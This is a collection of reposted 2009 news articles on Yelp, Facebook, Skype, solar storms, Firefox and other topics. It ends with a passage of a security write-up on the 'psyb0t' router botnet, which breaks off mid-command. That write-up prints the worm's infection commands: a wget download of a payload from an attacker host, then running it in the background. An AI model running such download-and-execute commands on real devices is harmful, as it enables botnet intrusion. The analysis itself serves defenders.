_ will prove key to whether the sites can grow into vibrant, moneymaking operations for years to come. Many sites have expanded so fast that explanations about what they are doing often come late _ after their users have had plenty of time to air complaints. Facebook has felt such growing pains, and now Yelp is, too. One big gripe from businesses that get reviewed on Yelp is that they don't quite get how it works. For instance, some wonder why users' reviews can seemingly mysteriously disappear from Yelp's pages about a business. This irks Leslie Tagorda, owner of a San Francisco-based Web design company, Flair-Designs. She has noticed reviews vanish from the Flair-Designs page on Yelp over the past two years. This worries her because the more reviews she has, the more calls she gets from potential clients, she said. When she first noticed reviews disappearing, Tagorda contacted clients who had written the comments, to see whether they had deleted them. They said they had not. She e-mailed Yelp and was directed to the business owners' section of the site. Not satisfied, she aired her issues by writing a review of Yelp itself on Yelp's business page, giving the site two out of a possible five stars. She wrote that although she likes using Yelp as a consumer, as a business owner "Yelp just about `sucks it.'" At last she got a more personal message from Yelp's chief executive and co-founder, Jeremy Stoppelman. He explained that consumer reviews may be removed by an automated program that is designed to filter out reviews the site considers untrustworthy, such as sniping that a pizzeria owner might write about a competitor. Tagorda was satisfied with Stoppelman's response but still wanted people to see what she felt were legitimate reviews that Yelp had hidden. So Tagorda put up a post on Yelp about her own business, indicating the names of users whose Flair-Designs reviews have disappeared. If you search for those users, you might be able to find their reviews of Flair-Designs under their personal profiles. So far, her post about Yelp has stayed up, and she recently added a star to that review, updating it to say she's "becoming a little happier with Yelp as a business owner." Still, the whole episode has her feeling murky about the site. "I think they should be clearer about how reviews are displayed on people's profiles and what happens with bad reviews," she said. Stoppelman defended the quiet way Yelp takes some reviews down, saying that if the company offered a more detailed explanation of the process, people might be able to get around it. (Online retailer Amazon.com Inc. also uses an automated program to filter user reviews, though Yelp's main competitor in the business-review market, Citysearch, does not.) Stoppelman acknowledges that the fluctuation of the site's reviews "flusters and surprises a lot of business owners." Some explanations are in the site's "frequently asked questions," but not everyone reads those. "We need to figure out how we make this bonk-you-over-the-head obvious so that everybody understands, `Look, this is going to happen,'" he said. However, Stoppelman believes there will always be tension between Yelp and business owners because consumers are creating the content, which is inherently unpredictable. Recent news reports have cited other disagreements over Yelp, including allegations from businesses that Yelp offered to obscure negative reviews or move up positive ones in exchange for advertising dollars. Yelp denies it and blames a misunderstanding. To try to smooth over such rough spots, Yelp is investing more resources in bringing business owners into the fold after spending its initial years building up its reviewing community. The company recently beefed up the "About Us" section of its Web site, exchanging a straightforward biography of the company for a list of 10 things visitors should know about Yelp. This section now links to Stoppelman's blog and to a new "Myths About Yelp" page. Yelp also hopes to hire a local business outreach manager. Yelp is not the only social site grappling with transparency. Facebook tackled it most recently after thousands of its more than 175 million users protested a quietly made policy change that appeared to let Facebook gain more control of photos, messages and other information that people share on the site. Facebook Chief Executive Mark Zuckerberg responded by assuring users that they, not Facebook, own their content. The site also decided to let users play a "meaningful role" in determining shifts in Facebook's policies. LiveJournal Inc., a pioneer in blogging, also invited input from users before finalizing major policy changes last year. And LiveJournal _ which is owned by Russia-based media company SUP and has 2.2 million active user accounts _ created an eight-person board to advise the site about its operations. The board includes two LiveJournal users elected by its community. Transparency is an important question for social Web sites as they plot ways to grow and make money. How much of their copious amounts of user information should they make available to advertisers who want to reach certain types of customers? Already, for example, Facebook and News Corp.'s MySpace let advertisers target users by characteristics like gender, location or interests. The challenge will be how to please advertisers without creeping users out. Of course, you can't please everybody all the time. Lee Rainie, director of the Pew Internet & American Life Project, thinks social media sites are in a trial and error phase, hoping to figure out what their various stakeholders will tolerate. "Right now, it's much more of a free for all," he said, "because the rules aren't clear." http://www.washingtonpost.com/wp-dyn...032200685.html Facebook is Your Father's (and Mother's) Social Network John C Abell Facebook (and other social networks) has been skewing older for a while, but the trend has been "massive" in the past six months, according to InsideFacebook.com. In the past two months alone the number of new members over 35 has doubled. Marketers take note: the median age is now over 25, and the largest single group 35 to 44. Women over 55 remain the fastest growing group, and growth among the teen and college-age set has been relatively paltry. In absolute numbers there are now even slightly more members between the ages of 45 and 65 than there are 13-to 17-year-olds. Quote:
One commenter on the Inside Facebook post speculated the bad economy might be a reason. "Is this a result of the rising unemployment rates nationwide?" Mark N. asked. "I suspect there has to be some correlation here." http://blog.wired.com/business/2009/...ok-isyour.html The Universal Remote Dormant in Your Smartphone John Biggs WHILE the universal remote has served humanity with distinction, its days are numbered, and your smartphone is to blame. In the beginning, a universal remote had to control two or three things (typically a television, a cable box and a VCR or DVD player). And for a handful of devices, a remote with all the buttons in one place worked just fine. Over time, the universal remote expanded its jurisdiction, as there were new devices to control: audio receivers, streaming-video boxes, digital video recorders and other home entertainment components. The universal remote did only what it could: It grew more buttons. But that was a stopgap at best. With so many devices to manage — and with so many buttons to use — universal remotes started to become ridiculously complex. There was a solution, of course: touch screens. Devices using these interactive displays can change their layouts depending on the remote being mimicked. Several manufacturers put touch screens into their high-end remotes. But touch screen remotes were — and are— expensive. A traditional universal remote costs $20 or so. Touch-screen models often cost in the hundreds. Some engineers got to thinking: There is a growing number of touch screens in the world, in the form of smartphones. And since more and more entertainment devices are Internet-enabled, and since smartphones are as well, they don’t even need an infrared transmitter; they can control equipment using Wi-Fi. And so now we have a bounty of applications and accessories that let us use the technology we already have to control the technology we already have. This is not only frugal, but upgradeable and flexible. Whether you want to control your music, your television or your PowerPoint presentation, there’s probably a solution using your phone. Music and Video Plenty of people use iTunes. And many of them use their computers to play music over their home stereo speakers. Knowing this, Apple makes a slim remote to work with most of its PCs. But this remote has no screen and can perform only a few basic functions. But a free iPhone application, called Remote, uses Wi-Fi to control the computer as if you were sitting in front of an iTunes window. Users can browse and sort through entire music and video libraries, select playlists and adjust volume. IPhone users who are also fans of Sonos, the multiroom audio system that works with all kinds of music files — not just Apple-approved — can download a free application called Sonos Controller for iPhone. It works over Wi-Fi and mimics the hardware-based controllers Sonos makes. A similar free program, VersaZones Mobile (versagroup.net), lets users control Sonos devices on a Windows Mobile handset. There are other options, too. Melloware’s Intelliphone remote (melloware.com) works with an iPhone to control Windows Media Center PCs. Users can move the cursor on the PC’s display by using the iPhone’s touch screen, and a Qwerty keyboard obviates the need for a separate wireless keyboard. Intelliphone is one part of a two-application suite. The other component, Intelliremote, is loaded onto the Media Center PC and costs $24. After that, Intelliphone is free. Users of all but the earliest BlackBerry models can also stream music from their phone to any sound system connected to the company’s Remote Stereo Gateway, which sells for $90. The matchbook-size device plugs into a stereo and receives streaming audio, via Bluetooth, from a paired BlackBerry. This isn’t really a remote control, because the music is being streamed from the BlackBerry’s memory card. But the overall effect is the same, and BlackBerry remote programs for music are thin (for now). Television Controlling your television is a bit harder than controlling your digital music library. Most TVs aren’t part of a home’s wireless network, and therefore they rely on infrared signals. The Unify4Life AVShadow (unify4life.com) is a $99 kit that works with BlackBerrys to mimic infrared remote controls on most TVs and set-top boxes. The Shadow is both phone software and a piece of hardware that converts a BlackBerry’s Bluetooth transmission into an infrared signal your TV can understand. The company also makes the GarageShadow, a device that operates garage doors via a BlackBerry. IPhone-toting TiVo lovers can control their Series 3 or HD DVRs with Derek Stutsman’s DVR Remote (www.stutsmansoft.com), a $3 application that mimics the well-known TiVo remote, complete with thumbs up and thumbs down buttons. It works over Wi-Fi. For the more adventurous, a group of engineering students at the University of Toronto have created an infrared transmitter for iPhones and iPod Touches. UiRemote (uiremote.wordpress.com) has created a working prototype and will release a commercial version this year. Presentations PowerPoint presentations and the like are a bit easier to control remotely because, presumably, they are being viewed through a laptop. But the benefit is considerable. No longer tethered to your laptop, you can move around the room while still holding in your hand an image of what’s on the screen behind you. No more of that weird over-the-shoulder karaoke move when checking to see where you are in the presentation. Senstic (www.senstic.com) makes a $9.99 PowerPoint remote application for the iPhone called i-Clickr. The application connects to PowerPoint on a PC and displays the current slide and the control buttons on the iPhone’s screen. For users of Apple’s KeyNote software, there is the 99-cent Keynote Remote. The software shows a large, easy-to-read representation of your current slide along with any notes added in the presentation file running on a Mac. A hardware solution for Windows Mobile and BlackBerrys is the Impatica Showmate (www.impatica.com/showmate). This small device connects to any VGA-compatible projector and receives PowerPoint slides over Bluetooth. Users can then control the playback of the slide deck from the handset. It costs $250 for the hardware and software bundle. This is probably the beginning of the end for the stand-alone universal remote. Since Apple opened its App Store, all the other big players in mobile technology have either begun or announced application stores. And opening software development to the public only means that more of these types of applications are likely to be created. http://www.nytimes.com/2009/03/19/te.../19basics.html Skype Means Business John C Abell Skype on Monday launched a new service to ease the transition of small business into internet telephony, a bid to capture some needed revenue by tapping into a new market it expects will find cheap phone service in a global recession compelling. "Skype for SIP" aims to reduce the friction of migration by enabling its VoIP phone service to be used over standard equipment and PBX setups that support the Session Initiation Protocol (SIP), a common installation. The beta requires that one create a new Skype ID — a shame for those who already have an established Skype identity — but apart from that it promises that setup can be accomplished "without any expensive forklift upgrade of your existing infrastructure!" (breathless emphasis theirs). Beta participants would be immediately able to call other Skype member for nothing — and, perhaps as important, receive calls from them at no cost the caller — and make calls to anyone else for about two cents, according to the Wall Street Journal. Skype has long had a business unit, but that version of its service required computers and software, which is how most users make their Skype calls. With Skype for SIP the company seeks to lower the pain barrier by requiring no hardware installation whatsoever, and the re-configuration of a SIP-emabled PBX to an established codec that presumably is within the skillset of whoever maintains it already. Quote:
Skype has a tremendous following but makes relatively little money (sound familiar?) and has been something of a thorn in the side of parent company eBay from nearly day one. Parent company eBay's decision to pay $2.6 billion for the company in 2005 has been roundly criticized and it has yet to monetize the acquisition in any meaningful way with its core auction business. Skype has 405 million registered users, but few pay for anything. The basic service — calls over the internet to other Skype users — is free. Revenue, which the Wall Street Journal says was $550 million last year (that's $1.35 per registered user), comes from such upcharges as the lease of a telephone number so non-Skype members can call you, and voicemail-to-text conversion. Skype was novel when it came on the scene in 2003 but now the competitive landscape is much more complicated: Cisco is the powerhouse in enterprise VoIP, Vonage is struggling in the consumer market against bundled offerings from cable and satellite providers, and startups like Truphone have brought internet telephony calls to the iPhone — and even the iPhone touch, which isn't even a telephone. Skype has done a deal with Nokia on its high-end N97 handset, and it's easy to imagine a world where a considerable business is done not through corporate swithboards but on wireless handsets under a blanket of minutes-liberating WiFi — as it is already. Still, small businesses with little to no infrastructure have found Skype to be a solid alternative to landlines or cell service, which are far more expensive — about 1/3 of Skype members use the service for business purposes, the company says. And the ubiquity and relative cheapness of WiFi has created a bit of critical mass for VoIP, which is only now becoming something of a disruptive force in the decade or so it has been around. The biq question is whether eBay is hoping to finally get a decent return on its investment with Skype or to generate enough cash flow to enhance the resell value or a going concern. Ebay has consistently declined to say whether it intends to sell, and any talk of that now will likely be postponed until some solid numbers emerge from the SIP initiative. http://blog.wired.com/business/2009/...means-bus.html Space Storm Alert: 90 Seconds from Catastrophe Michael Brooks IT IS midnight on 22 September 2012 and the skies above Manhattan are filled with a flickering curtain of colourful light. Few New Yorkers have seen the aurora this far south but their fascination is short-lived. Within a few seconds, electric bulbs dim and flicker, then become unusually bright for a fleeting moment. Then all the lights in the state go out. Within 90 seconds, the entire eastern half of the US is without power. A year later and millions of Americans are dead and the nation's infrastructure lies in tatters. The World Bank declares America a developing nation. Europe, Scandinavia, China and Japan are also struggling to recover from the same fateful event - a violent storm, 150 million kilometres away on the surface of the sun. It sounds ridiculous. Surely the sun couldn't create so profound a disaster on Earth. Yet an extraordinary report funded by NASA and issued by the US National Academy of Sciences (NAS) in January this year claims it could do just that. Over the last few decades, western civilisations have busily sown the seeds of their own destruction. Our modern way of life, with its reliance on technology, has unwittingly exposed us to an extraordinary danger: plasma balls spewed from the surface of the sun could wipe out our power grids, with catastrophic consequences. The projections of just how catastrophic make chilling reading. "We're moving closer and closer to the edge of a possible disaster," says Daniel Baker, a space weather expert based at the University of Colorado in Boulder, and chair of the NAS committee responsible for the report. It is hard to conceive of the sun wiping out a large amount of our hard-earned progress. Nevertheless, it is possible. The surface of the sun is a roiling mass of plasma - charged high-energy particles - some of which escape the surface and travel through space as the solar wind. From time to time, that wind carries a billion-tonne glob of plasma, a fireball known as a coronal mass ejection (see "When hell comes to Earth"). If one should hit the Earth's magnetic shield, the result could be truly devastating. The incursion of the plasma into our atmosphere causes rapid changes in the configuration of Earth's magnetic field which, in turn, induce currents in the long wires of the power grids. The grids were not built to handle this sort of direct current electricity. The greatest danger is at the step-up and step-down transformers used to convert power from its transport voltage to domestically useful voltage. The increased DC current creates strong magnetic fields that saturate a transformer's magnetic core. The result is runaway current in the transformer's copper wiring, which rapidly heats up and melts. This is exactly what happened in the Canadian province of Quebec in March 1989, and six million people spent 9 hours without electricity. But things could get much, much worse than that. Worse than Katrina The most serious space weather event in history happened in 1859. It is known as the Carrington event, after the British amateur astronomer Richard Carrington, who was the first to note its cause: "two patches of intensely bright and white light" emanating from a large group of sunspots. The Carrington event comprised eight days of severe space weather. There were eyewitness accounts of stunning auroras, even at equatorial latitudes. The world's telegraph networks experienced severe disruptions, and Victorian magnetometers were driven off the scale. Though a solar outburst could conceivably be more powerful, "we haven't found an example of anything worse than a Carrington event", says James Green, head of NASA's planetary division and an expert on the events of 1859. "From a scientific perspective, that would be the one that we'd want to survive." However, the prognosis from the NAS analysis is that, thanks to our technological prowess, many of us may not. There are two problems to face. The first is the modern electricity grid, which is designed to operate at ever higher voltages over ever larger areas. Though this provides a more efficient way to run the electricity networks, minimising power losses and wastage through overproduction, it has made them much more vulnerable to space weather. The high-power grids act as particularly efficient antennas, channelling enormous direct currents into the power transformers. The second problem is the grid's interdependence with the systems that support our lives: water and sewage treatment, supermarket delivery infrastructures, power station controls, financial markets and many others all rely on electricity. Put the two together, and it is clear that a repeat of the Carrington event could produce a catastrophe the likes of which the world has never seen. "It's just the opposite of how we usually think of natural disasters," says John Kappenman, a power industry analyst with the Metatech Corporation of Goleta, California, and an advisor to the NAS committee that produced the report. "Usually the less developed regions of the world are most vulnerable, not the highly sophisticated technological regions." According to the NAS report, a severe space weather event in the US could induce ground currents that would knock out 300 key transformers within about 90 seconds, cutting off the power for more than 130 million people (see map). From that moment, the clock is ticking for America. First to go - immediately for some people - is drinkable water. Anyone living in a high-rise apartment, where water has to be pumped to reach them, would be cut off straight away. For the rest, drinking water will still come through the taps for maybe half a day. With no electricity to pump water from reservoirs, there is no more after that. There is simply no electrically powered transport: no trains, underground or overground. Our just-in-time culture for delivery networks may represent the pinnacle of efficiency, but it means that supermarket shelves would empty very quickly - delivery trucks could only keep running until their tanks ran out of fuel, and there is no electricity to pump any more from the underground tanks at filling stations. Back-up generators would run at pivotal sites - but only until their fuel ran out. For hospitals, that would mean about 72 hours of running a bare-bones, essential care only, service. After that, no more modern healthcare. 72 hours of healthcare remaining The truly shocking finding is that this whole situation would not improve for months, maybe years: melted transformer hubs cannot be repaired, only replaced. "From the surveys I've done, you might have a few spare transformers around, but installing a new one takes a well-trained crew a week or more," says Kappenman. "A major electrical utility might have one suitably trained crew, maybe two." Within a month, then, the handful of spare transformers would be used up. The rest will have to be built to order, something that can take up to 12 months. Even when some systems are capable of receiving power again, there is no guarantee there will be any to deliver. Almost all natural gas and fuel pipelines require electricity to operate. Coal-fired power stations usually keep reserves to last 30 days, but with no transport systems running to bring more fuel, there will be no electricity in the second month. 30 days of coal left Nuclear power stations wouldn't fare much better. They are programmed to shut down in the event of serious grid problems and are not allowed to restart until the power grid is up and running. With no power for heating, cooling or refrigeration systems, people could begin to die within days. There is immediate danger for those who rely on medication. Lose power to New Jersey, for instance, and you have lost a major centre of production of pharmaceuticals for the entire US. Perishable medications such as insulin will soon be in short supply. "In the US alone there are a million people with diabetes," Kappenman says. "Shut down production, distribution and storage and you put all those lives at risk in very short order." Help is not coming any time soon, either. If it is dark from the eastern seaboard to Chicago, some affected areas are hundreds, maybe thousands of miles away from anyone who might help. And those willing to help are likely to be ill-equipped to deal with the sheer scale of the disaster. "If a Carrington event happened now, it would be like a hurricane Katrina, but 10 times worse," says Paul Kintner, a plasma physicist at Cornell University in Ithaca, New York. In reality, it would be much worse than that. Hurricane Katrina's societal and economic impact has been measured at $81 billion to $125 billion. According to the NAS report, the impact of what it terms a "severe geomagnetic storm scenario" could be as high as $2 trillion. And that's just the first year after the storm. The NAS puts the recovery time at four to 10 years. It is questionable whether the US would ever bounce back. 4-10 years to recover "I don't think the NAS report is scaremongering," says Mike Hapgood, who chairs the European Space Agency's space weather team. Green agrees. "Scientists are conservative by nature and this group is really thoughtful," he says. "This is a fair and balanced report." Such nightmare scenarios are not restricted to North America. High latitude nations such as Sweden and Norway have been aware for a while that, while regular views of the aurora are pretty, they are also reminders of an ever-present threat to their electricity grids. However, the trend towards installing extremely high voltage grids means that lower latitude countries are also at risk. For example, China is on the way to implementing a 1000-kilovolt electrical grid, twice the voltage of the US grid. This would be a superb conduit for space weather-induced disaster because the grid's efficiency to act as an antenna rises as the voltage between the grid and the ground increases. "China is going to discover at some point that they have a problem," Kappenman says. Neither is Europe sufficiently prepared. Responsibility for dealing with space weather issues is "very fragmented" in Europe, says Hapgood. Europe's electricity grids, on the other hand, are highly interconnected and extremely vulnerable to cascading failures. In 2006, the routine switch-off of a small part of Germany's grid - to let a ship pass safely under high-voltage cables - caused a cascade power failure across western Europe. In France alone, five million people were left without electricity for two hours. "These systems are so complicated we don't fully understand the effects of twiddling at one place," Hapgood says. "Most of the time it's alright, but occasionally it will get you." The good news is that, given enough warning, the utility companies can take precautions, such as adjusting voltages and loads, and restricting transfers of energy so that sudden spikes in current don't cause cascade failures. There is still more bad news, however. Our early warning system is becoming more unreliable by the day. By far the most important indicator of incoming space weather is NASA's Advanced Composition Explorer (ACE). The probe, launched in 1997, has a solar orbit that keeps it directly between the sun and Earth. Its uninterrupted view of the sun means it gives us continuous reports on the direction and velocity of the solar wind and other streams of charged particles that flow past its sensors. ACE can provide between 15 and 45 minutes' warning of any incoming geomagnetic storms. The power companies need about 15 minutes to prepare their systems for a critical event, so that would seem passable. 15 minutes' warning However, observations of the sun and magnetometer readings during the Carrington event shows that the coronal mass ejection was travelling so fast it took less than 15 minutes to get from where ACE is positioned to Earth. "It arrived faster than we can do anything," Hapgood says. There is another problem. ACE is 11 years old, and operating well beyond its planned lifespan. The onboard detectors are not as sensitive as they used to be, and there is no telling when they will finally give up the ghost. Furthermore, its sensors become saturated in the event of a really powerful solar flare. "It was built to look at average conditions rather than extremes," Baker says. He was part of a space weather commission that three years ago warned about the problems of relying on ACE. "It's been on my mind for a long time," he says. "To not have a spare, or a strategy to replace it if and when it should fail, is rather foolish." There is no replacement for ACE due any time soon. Other solar observation satellites, such as the Solar and Heliospheric Observatory (SOHO) can provide some warning, but with less detailed information and - crucially - much later. "It's quite hard to assess what the impact of losing ACE will be," Hapgood says. "We will largely lose the early warning capability." The world will, most probably, yawn at the prospect of a devastating solar storm until it happens. Kintner says his students show a "deep indifference" when he lectures on the impact of space weather. But if policy-makers show a similar indifference in the face of the latest NAS report, it could cost tens of millions of lives, Kappenman reckons. "It could conceivably be the worst natural disaster possible," he says. The report outlines the worst case scenario for the US. The "perfect storm" is most likely on a spring or autumn night in a year of heightened solar activity - something like 2012. Around the equinoxes, the orientation of the Earth's field to the sun makes us particularly vulnerable to a plasma strike. What's more, at these times of year, electricity demand is relatively low because no one needs too much heating or air conditioning. With only a handful of the US grid's power stations running, the system relies on computer algorithms shunting large amounts of power around the grid and this leaves the network highly vulnerable to sudden spikes. If ACE has failed by then, or a plasma ball flies at us too fast for any warning from ACE to reach us, the consequences could be staggering. "A really large storm could be a planetary disaster," Kappenman says. So what should be done? No one knows yet - the report is meant to spark that conversation. Baker is worried, though, that the odds are stacked against that conversation really getting started. As the NAS report notes, it is terribly difficult to inspire people to prepare for a potential crisis that has never happened before and may not happen for decades to come. "It takes a lot of effort to educate policy-makers, and that is especially true with these low-frequency events," he says. We should learn the lessons of hurricane Katrina, though, and realise that "unlikely" doesn't mean "won't happen". Especially when the stakes are so high. The fact is, it could come in the next three or four years - and with devastating effects. "The Carrington event happened during a mediocre, ho-hum solar cycle," Kintner says. "It came out of nowhere, so we just don't know when something like that is going to happen again." http://www.newscientist.com/article/...tastrophe.html Son of Sylvia Plath Commits Suicide Anahad O’Connor Nicholas Hughes, the son of Sylvia Plath and the British Poet Laureate Ted Hughes, killed himself at his home in Alaska, nearly a half-century after his mother and stepmother took their own lives, according to a statement from his sister. Mr. Hughes, 47, was an evolutionary biologist who studied stream fish and spent much of his time trekking across Alaska on field studies. Shielded from stories about his mother’s suicide until he was a teenager, Mr. Hughes had lived an academic life largely outside the public eye. But friends and family said he had long struggled with depression. Last Monday, he hanged himself at his home in Alaska, his sister, Frieda Hughes, said over the weekend. “It is with profound sorrow that I must announce the death of my brother, Nicholas Hughes, who died by his own hand on Monday 16th March 2009 at his home in Alaska,” she said in a statement to the Times of London. “He had been battling depression for some time.” Mr. Hughes’s early life was darkened by shadows of depression and suicide. Ms. Plath explored the themes in her 1963 novel “The Bell Jar,” which follows an ambitious college student who tries to kill herself after suffering a nervous breakdown while interning at a New York City magazine. The novel reflected Ms. Plath’s own experiences, including her early struggles with depression and her attempt at suicide while working at Mademoiselle in New York as a college student. After a stay at a mental institution, Ms. Plath went on to study poetry at Cambridge University, where she met Ted Hughes, who was on his way to world fame as a poet. The two were married in 1956, and had two children — Nicholas and Frieda — but separated in 1962 after Mr. Hughes began an affair with another woman, Assia Wevill. Ms. Plath killed herself at the age of 30 by sticking her head in an oven in her London home on Feb. 11, 1963, as Nicholas and Frieda slept nearby. Six years later, Ms. Wevill, who had helped raise Nicholas and Frieda after Ms. Plath’s death, killed herself and her 4-year-old daughter, Shura. Ms. Wevill styled the murder-suicide in the same manner, using a gas stove. Mr. Hughes, who became Poet Laureate in 1984 and was widely regarded as one of the greatest poets of his generation, resisted speaking openly about the deaths for many years. But in his last poetic work, “Birthday Letters,” published in 1998, he finally broke his silence and explored the theme. He died the same year, as the book — in some ways considered a quest for redemption — was climbing best-seller lists. Mr. Hughes was said to have protected his children from details about their mother’s suicide for many years. But in at least one poem he seemed to indicate that Nicholas, who was only 1 at the time of her death, was pained even as a small child, recalling in one stanza how Nicholas’s eyes “Became wet jewels/ The hardest substance of the purest pain/ As I fed him in his high white chair.” Nicholas had a passion for wildlife, particularly fish. As a young adult he studied at the University of Oxford, where he obtained a bachelor of science degree in 1984 and a master of arts degree in 1990. Afterward, he traveled to the United States, earning a doctoral degree from the University of Alaska Fairbanks, where he became an assistant professor at the School of Fisheries and Ocean Science. According to the University, Mr. Hughes was an expert in “stream salmonid ecology” and carried out his research in Alaska and New Zealand. He resigned from the faculty in 2006 but continued his research, the school said. One graduate student there, Lauren Tuori, recalled a peculiar habit of Mr. Hughes’s, saying he would often “seek out a larch tree in a forest of spruce.” She added, “Alaska could use more biologists like Nick who still display wonder at the small things around them.” http://www.nytimes.com/2009/03/24/books/24plath.html Unabomber Victim's Art Recovered After Yale Theft John Christoffersen A Yale professor who learned to paint with his left hand after part of his right hand was ripped away in an explosion by the Unabomber will get back two beloved paintings that were recently stolen. New Haven police said Monday a weekend raid of a home where drugs were allegedly sold has turned up 39 pieces of stolen art, including two paintings believed to belong to Unabomber victim David Gelernter. The art was stolen from the Joseph Slifka Center for Jewish Life at Yale and the public library and traded for drugs, police said. "I'm delighted," Gelernter said, praising police for finding the art. "You put a great deal of yourself, of your thought, ideas, worldview into a painting." Gelernter's son, Daniel, also had a painting stolen. It was their first show together by the father and son, who paint together at their Woodbridge, Conn., home, outside New Haven. Gelernter spent months on his paintings. The father and son were outraged and depressed when the art work was stolen, Daniel Gelernter said. "We're absolutely ecstatic," said Daniel Gelernter, 21, whose stolen painting also was recovered. "We had more or less thought we'd never see the paintings again." David Gelernter, a computer science professor who was critically injured in 1993, said it took him about a year to learn to paint with left hand. "I thought at the time my painting days were over," he said. "I thought it would be impossible." His son praised his father's work. "It's something he's triumphed over completely and very effectively," his son said, describing how his father paints in bold and sweeping strokes. "The strength of his drawing is absolutely astonishing." Police say they found the artwork when they raided the home of Bruno Nestir, 47, who faces drug and larceny charges. His attorney, Rob Serafinowicz, challenged the credibility of the man accusing his client. "The facts in this case don't support any type of a charge for larceny," Serafinowicz said. "And I'm not going to let my client accept the blame for any type of larceny when there's no evidence he ever set foot in the New Haven Public Library where the paintings were supposedly held." The other man, who has not been arrested yet, stole the paintings and traded them for drugs, typically getting $30 to $40 worth of heroin per painting, police said. Police say the man was caught on a video camera at the public library earlier this month concealing a painting in a bag. He was detained after he returned to the library a few days later, police said. The center at Yale is not sure how the paintings were stolen, said Lina Zerbarini, associate rabbi and director of operations. She said the center will evaluate its security while trying to maintain a welcoming atmosphere. The theft comes more than two years after a renowned dealer admitted he stole nearly 100 rare and expensive maps from libraries worldwide, including Yale's Beinecke Rare Book and Manuscript Library. David Gelernter's art work often focused on Jewish themes. One of the stolen paintings was called "shma," meaning to listen, and the other was called "neriah," a word of praise. The two paintings had been sold for $40,000 to a Manhattan collector, Daniel Gelernter said. Gelernter does not dwell on the bombing attack that also injured his right eye and chest, his son said. He's working on a book about Judaism and a software project. "He's a boundless energetic creator," his son said. Unabomber Ted Kaczynski's homemade bombs killed three people and injured 23 others from 1978 to 1995. Kaczynski is serving a life sentence without parole. http://www.newstimes.com/national/ci_11978475 Can Mozilla Escape a Premature Endgame for Firefox? It was born from the remains of Netscape Navigator, but suddenly, there's a plausible scenario pointing to Firefox becoming the victim of its own success. Scott M. Fulton, III It's an undeniable fact that most businesses that transact with their customers through the Internet are wrestling with how to build a viable business model for themselves. Even the most successful enterprises are frankly struggling to ensure their long-term survival, and Mozilla is certainly among them. Its principal product is given away for free, and Firefox's lifeline stems from a percentage of revenues from searches generated though -- all of a sudden -- its own hottest competitor in the Web browser field today, Google. Yesterday's release by Microsoft of Internet Explorer 8, with its visibly demonstrable speed and performance boosts, is bringing speed and performance back into the public discussion of what a Web browser can be. And there, Web users are likely to discover that while Firefox still outperforms IE8, it's chasing competition on the forward end of the racetrack. Google Chrome -- a browser created by many of the same individuals who are also working on Firefox -- will probably lead Firefox 3.5 in performance even as performance becomes the main value proposition for the new edition of Mozilla's browser. Firefox is getting kicked from behind and the front at the same time. So just how long can Mozilla hang on before something snaps and gives way? This morning, PC World Linux columnist Kier Thomas posited the theory that Firefox may not be able to escape an endgame being planned for it by its own benefactor. "I fear that the Firefox project is a juggernaut that can't stop," Thomas wrote. "It's got too much momentum and is determined to head in the direction it has chosen. In short, I honestly think it's too late. Despite the fact it's not really ready for human consumption, Chrome has won. Firefox is already dead." Though Firefox brought efficiency back to the browser, the fact that it cannot capitalize on its success to ensure its leadership position may become its undoing. "The very fact that Firefox was so successful has touched off an escalating arms race in the browser market that's replaced the slow-as-molasses evolution of the IE era with a much more intense rate of change," independent contributing analyst Carmi Levy told Betanews today. "As subsequent versions of Firefox have suffered the same kind of feature bloat that have infected software since the beginning of time, upstarts have arrived on the scene hoping to do to Mozilla what Mozilla did to Microsoft." As Levy reminded us, "Firefox early adopters jumped the IE ship because they saw everyday use of the upstart browser as a counterculture commentary against the IE juggernaut that for years had dominated the competition-free browser world. At the time, performance- and usability-hungry end-users were so hungry for something -- indeed anything -- that showed real innovation in a stagnant sector that they latched onto the first viable alternative that showed any staying power. That alternative was Firefox, and in its early iterations, it ran circles around the staid and pokey IE." An up-to-the-minute estimate of global Web browser usage share this afternoon by analytics firm NetApplications gives all versions of Firefox collectively 21% of the world's Web traffic -- at or near its all-time high. A big chunk of that number, Levy said, remains comprised of "not just early adopters, but IT managers, educational institutions, everyday families, and even my mother-in-law, convinced that they should go with Mozilla instead of Microsoft." That number continues to grow, albeit slowly, so Firefox is certainly not suffering from lack of popularity, nor of efficiency or productivity -- indeed, the upcoming version will be Mozilla's fastest and best-rendering browser ever. But as Microsoft has proven time and again in its history, you don't have to be the leader to win, and you don't have to be the market also-ran to lose. "Google's arrival in the browser space certainly throws some major wrinkles into the future of Firefox," states Levy. "It's no longer a given that Firefox is the rightful heir to the #2 slot in the browser market. Although it's the product that turned browsers from a foregone, moribund category into the hottest sector since Netscape popularized the concept, it doesn't permanently own its market position, and finds itself increasingly vulnerable to higher-performing alternatives that are just as easy for my mother-in-law to download and install. So, the bottom line is, if Firefox 3.5 doesn't exhibit differentially competitive interface design and bottom-line, real-world performance, it'll be vulnerable to a whole range of agile competitors -- namely Google's Chrome, Apple's Safari, and Microsoft's IE8." If Firefox can overcome the feature bloat that PC World's Thomas believes is plaguing the product, and could eventually be its undoing, then Levy thinks Firefox can indeed hang on and retain its solid second-place. And it may even have time to do so, he adds, because Google's progress is still in the early stages, not quite ready for prime time. Right now, Chrome is lauded more for its promise and potential than its real-world potency. "But by the time Google converts that potential into real-world availability, the bar will have moved yet again," concludes Levy. "So it's too early to divine the future relative positions of these players, or to write off the future of Firefox because of something Google may or may not do sometime down the road. It's not necessarily the products themselves that will determine who emerges victorious following the next major browser war, but the processes each player uses to rapidly deploy competitive products and respond to changes in an ever-accelerating product development cycle. With exploding growth in Web 2.0-based online technologies and services, this is one war that can't get started soon enough." http://www.betanews.com/article/Can-...fox/1237590444 Network Bluepill - Stealth Router-Based Botnet Has Been DDoSing dronebl for the Last Couple of Weeks We have come across a botnet worm spreading around called "psyb0t". It is notable because, according to my knowledge, it: • is the first botnet worm to target routers and DSL modems • contains shellcode for many mipsel devices • is not targeting PCs or servers • uses multiple strategies for exploitation, including bruteforce username and password combinations • harvests usernames and passwords through deep packet inspection • can scan for exploitable phpMyAdmin and MySQL servers Vulnerable devices • any linux mipsel routing device that has the router administration interface or sshd or telnetd in a DMZ, which has weak username/passwords (including openwrt/dd-wrt devices). • possibly others Infection strategy Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things: # rm -f /var/tmp/udhcpc.env # wget If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background. If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable. # wget 